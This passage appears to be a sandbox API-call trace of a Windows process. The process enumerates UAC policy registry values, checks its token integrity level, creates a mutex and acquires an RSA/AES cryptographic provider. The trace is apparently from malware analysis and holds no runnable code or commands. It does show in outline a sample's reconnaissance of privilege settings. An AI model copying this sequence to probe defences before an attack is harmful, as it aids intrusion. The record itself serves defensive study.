| out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b968 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c480 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b978 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3f0 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b988 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3a8 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x28b998 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b940) returned 1 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b940 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c360 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b950 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c318 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b9d0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c2d0 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b9e0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b998) returned 1 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b998 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b9a8 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1e8 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1f8 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.942] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.942] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b878) returned 1 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c438) returned 1 [0252.942] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b888) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c558) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b898) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c510) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b930) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c4c8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b860) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c480) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b968) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c3f0) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b978) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c3a8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b988) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c360) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b940) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c318) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b950) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c2d0) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b9d0) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b9e0) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b998) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b9a8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1e8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1f8) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0252.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0252.943] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x15f7fc, lpData=0x0, lpcbData=0x15f804*=0x0 | out: lpType=0x15f7fc*=0x4, lpData=0x0, lpcbData=0x15f804*=0x4) returned 0x0 [0252.943] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x15f7fc, lpData=0x28c240, lpcbData=0x15f804*=0x4 | out: lpType=0x15f7fc*=0x4, lpData=0x28c240*=0x5, lpcbData=0x15f804*=0x4) returned 0x0 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0252.943] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.943] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0252.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1f8 [0252.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1e8 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d208 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d218 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28b860 [0252.944] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d228 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d238 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d248 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c2d0 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x28b930 [0252.944] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b860) returned 1 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c318 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c360 [0252.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.944] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3a8 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3f0 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c480 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b930) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2a8 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c4c8 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2b8 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c510 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c558 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c438 [0252.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.945] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1f8) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1e8) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d208) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d218) returned 1 [0252.946] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x15f7fc, lpData=0x0, lpcbData=0x15f804*=0x0 | out: lpType=0x15f7fc*=0x4, lpData=0x0, lpcbData=0x15f804*=0x4) returned 0x0 [0252.946] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x15f7fc, lpData=0x28c480, lpcbData=0x15f804*=0x4 | out: lpType=0x15f7fc*=0x4, lpData=0x28c480*=0x1, lpcbData=0x15f804*=0x4) returned 0x0 [0252.946] RegCloseKey (hKey=0x24) returned 0x0 [0252.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x15f874 | out: TokenHandle=0x15f874*=0x24) returned 1 [0252.946] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x15f870, TokenInformationLength=0x4, ReturnLength=0x15f86c | out: TokenInformation=0x15f870, ReturnLength=0x15f86c) returned 1 [0252.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x15f860 | out: TokenHandle=0x15f860*=0xa0) returned 1 [0252.946] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15f85c | out: TokenInformation=0x0, ReturnLength=0x15f85c) returned 0 [0252.946] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.946] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x28c5a0, TokenInformationLength=0x14, ReturnLength=0x15f85c | out: TokenInformation=0x28c5a0, ReturnLength=0x15f85c) returned 1 [0252.946] GetSidSubAuthorityCount (pSid=0x28c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x28c5a9 [0252.946] GetSidSubAuthority (pSid=0x28c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x28c5b0 [0252.946] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.946] NtClose (Handle=0xa0) returned 0x0 [0252.946] GetSystemInfo (in: lpSystemInfo=0x15f9a8 | out: lpSystemInfo=0x15f9a8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0252.946] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6c) returned 0x28b860 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.947] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c480 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c438 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c558 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c510 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5000) returned 0xd70048 [0252.947] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c4c8 [0252.947] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c4c8) returned 1 [0252.947] CryptAcquireContextW (in: phProv=0x15f9bc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15f9bc*=0x62e540) returned 1 [0252.960] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd70048) returned 1 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28b8d8 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28b960 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c4c8 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28b9e8 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28ba70 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3f0 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28baf8 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c3a8 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5000) returned 0xd70048 [0252.960] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c360 [0252.960] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c360) returned 1 [0252.960] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 